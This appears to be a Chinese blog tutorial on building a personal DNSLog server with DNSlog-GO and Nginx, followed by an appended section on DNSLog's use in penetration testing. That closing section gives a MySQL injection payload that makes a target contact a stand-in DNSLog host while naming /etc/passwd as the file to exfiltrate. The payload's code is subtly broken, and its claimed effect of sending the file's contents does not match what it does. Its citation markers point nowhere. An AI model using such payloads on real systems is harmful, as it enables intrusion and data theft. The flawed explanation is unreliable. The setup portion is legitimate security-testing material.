个人DNSLog平台搭建

0x01 前言

搭建一个DNSLog平台需要准备以下:

  • 购买一个合法域名
  • 具有公网IP的服务器

我使用的是阿里云ECS服务器(Linux)、阿里云域名解析服务,其他平台类似。


我们都知道DNS就是将域名解析为ip,用户在浏览器上输入一个域名A.com,

就要靠DNS服务器将A.com解析到它的真实ip127.0.0.1,

这样就可以访问127.0.0.1服务器上的相应服务。

DNSlog就是存储在DNS服务器上的域名信息,

它记录着用户对域名 www.baidu.com 等的访问信息,类似日志文件。

0x02 域名解析配置

  1. 首先在域名解析中添加一条A记录,记录值为服务器公网IP:

image-20220718185553960

  1. 创建NS记录,记录值为上一步创建的A记录:

image-20220718185748098

  1. 在域名控制台设置自定义DNS Host,创建DNS服务器:

image-20220718185954758

0x03 云服务器配置

  1. 下载DNSLog平台到服务器

GitHub地址: https://github.com/lanyi1998/DNSlog-GO.git

在服务器中输入

wget https://github.com/lanyi1998/DNSlog-GO/releases/download/1.5.2/DNSlog-GO-linux.zip
  1. 解压
unzip DNSlog-GO-linux.zip
  1. 进入目录后使用screen保证DNSLog平台可以在后台运行
# 没有安装screen可以通过包管理器安装,已安装则跳过
yum install screen #Centos
apt-get install screen #Ubuntu
  1. 创建新的screen,使用该命令后会自动进入该screen:
screen -S dnslog
  1. 修改配置文件config.yaml
HTTP:
  port: 8000
  #{"token":"用户对应子域名"}
  user: { "password": "dnslog" }
  consoleDisable: false
Dns:
  domain: q1jun.cn
  1. 启动DNSLog平台:
sudo chmod +x ./main
./main
  1. 在ECS服务器控制台->安全组,开放53(UDP)和8000(TCP)端口。
  2. 浏览器输入IP:8000进入DNSLog平台,根据提示输入设置的tokenpassword即可进入。

0x04 Nginx配置(可选)

由于本人不喜欢通过IP+端口或者域名+端口的方式访问页面,我一般通过Nginx的方向代理转发端口,这样做的好处是不需要在在ECS服务器控制台->安全组开放8000端口,在访问的时候不需要记住端口号,也不怕被人扫端口。


  1. Nginx配置:
server {
    listen       80;
    server_name  dns.q1jun.cn; #新建的A记录
    access_log  /var/log/nginx/dnslog.access.log  main;
    root /usr/share/nginx/html;
    location / {
    	proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    	proxy_set_header Host $http_host;
    	proxy_redirect off;
    	proxy_pass http://127.0.0.1:8000; #转发端口

    	# 如果您要使用本地存储策略,请将下一行注释符删除,并更改大小为理论最大文件尺寸
    	client_max_body_size 20000m;
    }
    error_page  404              /404.html;

    # redirect server error pages to the static page /50x.html
    #
    error_page   500 502 503 504  /50x.html;
    location = /50x.html {
        root   /usr/share/nginx/html;
    }
}
  1. 在域名云解析DNS中添加一条A记录:dns.q1jun.cn作为访问DNSLog平台的域名。

  2. 重启nginx

nginx -s reload

搭建成功:

image-20220718192506966

### DNSLog平台的功能和用途 DNSLog平台主要用于安全研究和渗透测试领域,其核心功能是在无法通过常规网络流量直接回传数据的情况下,利用DNS查询机制实现信息泄露。当目标系统向特定的子域名发起DNS解析请求时,这些请求会被转发至DNSLog服务器并记录下来。 #### 功能描述 - **注册与配置** 用户需先在支持该服务的网站上创建账户,并获得一个唯一的顶级域(如`example.dnslog.cn`),用于后续操作中的唯一标识[^1]。 - **数据收集** 渗透测试人员可以构造特殊的URL或其他形式的数据包,使得目标机器尝试访问由上述个人专属子域名构成的内容。由于大多数防火墙不会阻止对外部公共DNS服务器的标准端口53上的通信,因此即使在网络受限环境中也能成功触发外部连接[^2]。 - **日志审查** 所有经由此方式产生的DNS查询都会被集中存储于用户的私人控制面板内供查阅。这允许研究人员轻松追踪任何企图联系指定主机的行为模式及其携带的信息片段——比如文件路径、参数值甚至是完整的HTTP头部字段等敏感资料。 #### 应用场景举例 对于SQL注入漏洞而言,在某些情况下数据库返回的结果可能不便于直接显示给客户端浏览器;此时借助DNSLog则可以通过精心设计payload让受害站点执行带有恶意命令字符串的语句,进而间接地把内部状态反馈出来以便进一步分析确认是否存在可利用之处。 ```sql IF (SELECT ASCII(SUBSTRING(@@version,1,1))) > 0 THEN SLEEP(5); ELSE SELECT LOAD_FILE(CONCAT('\\\\', 'your-dnslog-subdomain.here','/etc/passwd')); END IF; ``` 此代码段展示了如何在一个假设性的MySQL环境中实施基于时间延迟判断版本号首位字符是否大于零的同时尝试读取远程Linux系统的密码文件并通过DNS请求将其部分或全部内容传递出去。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值